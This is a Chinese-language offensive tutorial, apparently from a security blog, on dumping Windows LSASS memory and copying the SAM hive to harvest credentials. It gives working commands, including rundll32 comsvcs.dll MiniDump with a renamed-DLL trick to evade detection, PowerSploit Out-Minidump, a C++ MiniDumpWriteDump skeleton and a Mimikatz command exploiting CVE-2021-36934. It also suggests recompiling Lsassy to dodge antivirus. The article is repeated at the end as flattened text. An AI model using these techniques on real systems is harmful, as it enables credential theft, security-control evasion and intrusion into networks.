萌新玩转转存储之Lsass.exe&SAM
字数 1233 2025-08-12 11:34:43

Lsass.exe转存储与SAM拷贝技术详解

1. 概述

Lsass.exe(本地安全认证子系统服务)和SAM(安全账户管理器)是Windows系统中存储用户凭证的关键组件。获取这些数据可以帮助攻击者在攻防演练中获取内网访问权限。本文详细介绍多种转储技术,以绕过安全防护。

2. Lsass转存储技术

2.1 任务管理器转储

  • 方法:通过任务管理器直接转储Lsass.exe进程
  • 保存路径C:\Users\用户名\AppData\Local\Temp
  • 缺点:使用要求高,不常用

2.2 PuDump转储

  • 特点:使用微软签名认证工具但仍可能被拦截
  • 类似工具:SQLDumper.exe、createdump.exe
  • 风险:运行时可能触发安全软件弹窗警告

2.3 利用中断机制转储

方案一:蓝屏攻击

  • 原理:通过蓝屏导致Lsass.exe中断后进行dump
  • 风险:防守方容易发现蓝屏并进行应急响应

方案二:API函数调用

  • 原理:调用API函数不终止进程进行转储
  • 风险:可能需要修改注册表触发EDR报警
  • 保存路径:固定位置(原文未明确路径)

2.4 PowerSploit加载转储

  • 工具:PowerSploit的Out-MiniDump模块
  • 步骤
    Import-Module Out-MiniDump
    Get-Process lsass | Out-Minidump
    
  • 原理:使用API方法MiniDumpWriteDump

2.5 系统自带comsvcs.dll转储

  • 权限要求:需要开启SeDebugPrivilege权限
  • 默认状态
    • CMD下默认支持但禁用
    • PowerShell下默认支持且启用

基本命令格式

rundll32.exe comsvcs.dll MiniDump <lsass PID> <out path> full

绕过技巧

copy C:\windows\System32\comsvcs.dll 110.dll
rundll32.exe 110.dll, MiniDump 508 lsass.dmp full

2.6 Lsassy工具转储

  • 特点:GitHub开源工具,但易被杀软检测
  • 改进建议
    • 用Go语言编译修改特征码
    • 替换敏感函数
  • 优势:可搭配其他库编写Python版Mimikatz
    • 使用impacket从Lsass导出数据
    • 使用pypykatz提取用户凭证

2.7 利用快照转储(C++代码实现)

关键步骤

  1. 提升权限为debug
  2. 对所有进程拍摄快照
  3. 循环检索lsass进程ID
  4. 转储lsass内存快照并写入文件

核心代码片段

// 提升debug权限
bool EnableDebugPrivilege() {
    // 实现代码...
}

// 主函数
int main() {
    // 获取lsass PID
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 processEntry;
    // 检索过程...
    
    // 打开lsass进程
    lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
    
    // 转储
    BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, 
                                     MiniDumpWithFullMemory, NULL, NULL, NULL);
}

3. SAM拷贝技巧

3.1 CVE-2021-36934漏洞利用

  • 影响范围:Windows 10 1809之后版本
  • 利用条件:开启VSS卷影复制服务(默认开启)
  • 利用命令
    lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM
    

3.2 高权限直接转储

  • SAM存储位置%SystemRoot%\system32\config\sam
  • 要求:需要高权限,不如攻击Lsass.exe常见

4. 总结

核心思想是利用Lsass.exe进程的退出/终止阶段进行转储操作,获取lsass.dmp文件,同时获取SAM的拷贝权限。最终可使用Mimikatz等工具分析获取的凭证信息。

关键点回顾

  1. 多种转储方法各有优缺点,需根据环境选择
  2. 权限提升是大多数技术的前提
  3. 绕过技巧包括DLL重命名、快照技术等
  4. SAM获取可通过漏洞利用或高权限直接访问
Lsass.exe转存储与SAM拷贝技术详解 1. 概述 Lsass.exe(本地安全认证子系统服务)和SAM(安全账户管理器)是Windows系统中存储用户凭证的关键组件。获取这些数据可以帮助攻击者在攻防演练中获取内网访问权限。本文详细介绍多种转储技术,以绕过安全防护。 2. Lsass转存储技术 2.1 任务管理器转储 方法 :通过任务管理器直接转储Lsass.exe进程 保存路径 : C:\Users\用户名\AppData\Local\Temp 缺点 :使用要求高,不常用 2.2 PuDump转储 特点 :使用微软签名认证工具但仍可能被拦截 类似工具 :SQLDumper.exe、createdump.exe 风险 :运行时可能触发安全软件弹窗警告 2.3 利用中断机制转储 方案一:蓝屏攻击 原理:通过蓝屏导致Lsass.exe中断后进行dump 风险:防守方容易发现蓝屏并进行应急响应 方案二:API函数调用 原理:调用API函数不终止进程进行转储 风险:可能需要修改注册表触发EDR报警 保存路径:固定位置(原文未明确路径) 2.4 PowerSploit加载转储 工具 :PowerSploit的Out-MiniDump模块 步骤 : 原理 :使用API方法 MiniDumpWriteDump 2.5 系统自带comsvcs.dll转储 权限要求 :需要开启 SeDebugPrivilege 权限 默认状态 : CMD下默认支持但禁用 PowerShell下默认支持且启用 基本命令格式 : 绕过技巧 : 2.6 Lsassy工具转储 特点 :GitHub开源工具,但易被杀软检测 改进建议 : 用Go语言编译修改特征码 替换敏感函数 优势 :可搭配其他库编写Python版Mimikatz 使用impacket从Lsass导出数据 使用pypykatz提取用户凭证 2.7 利用快照转储(C++代码实现) 关键步骤 : 提升权限为debug 对所有进程拍摄快照 循环检索lsass进程ID 转储lsass内存快照并写入文件 核心代码片段 : 3. SAM拷贝技巧 3.1 CVE-2021-36934漏洞利用 影响范围 :Windows 10 1809之后版本 利用条件 :开启VSS卷影复制服务(默认开启) 利用命令 : 3.2 高权限直接转储 SAM存储位置 : %SystemRoot%\system32\config\sam 要求 :需要高权限,不如攻击Lsass.exe常见 4. 总结 核心思想是利用Lsass.exe进程的退出/终止阶段进行转储操作,获取lsass.dmp文件,同时获取SAM的拷贝权限。最终可使用Mimikatz等工具分析获取的凭证信息。 关键点回顾 : 多种转储方法各有优缺点,需根据环境选择 权限提升是大多数技术的前提 绕过技巧包括DLL重命名、快照技术等 SAM获取可通过漏洞利用或高权限直接访问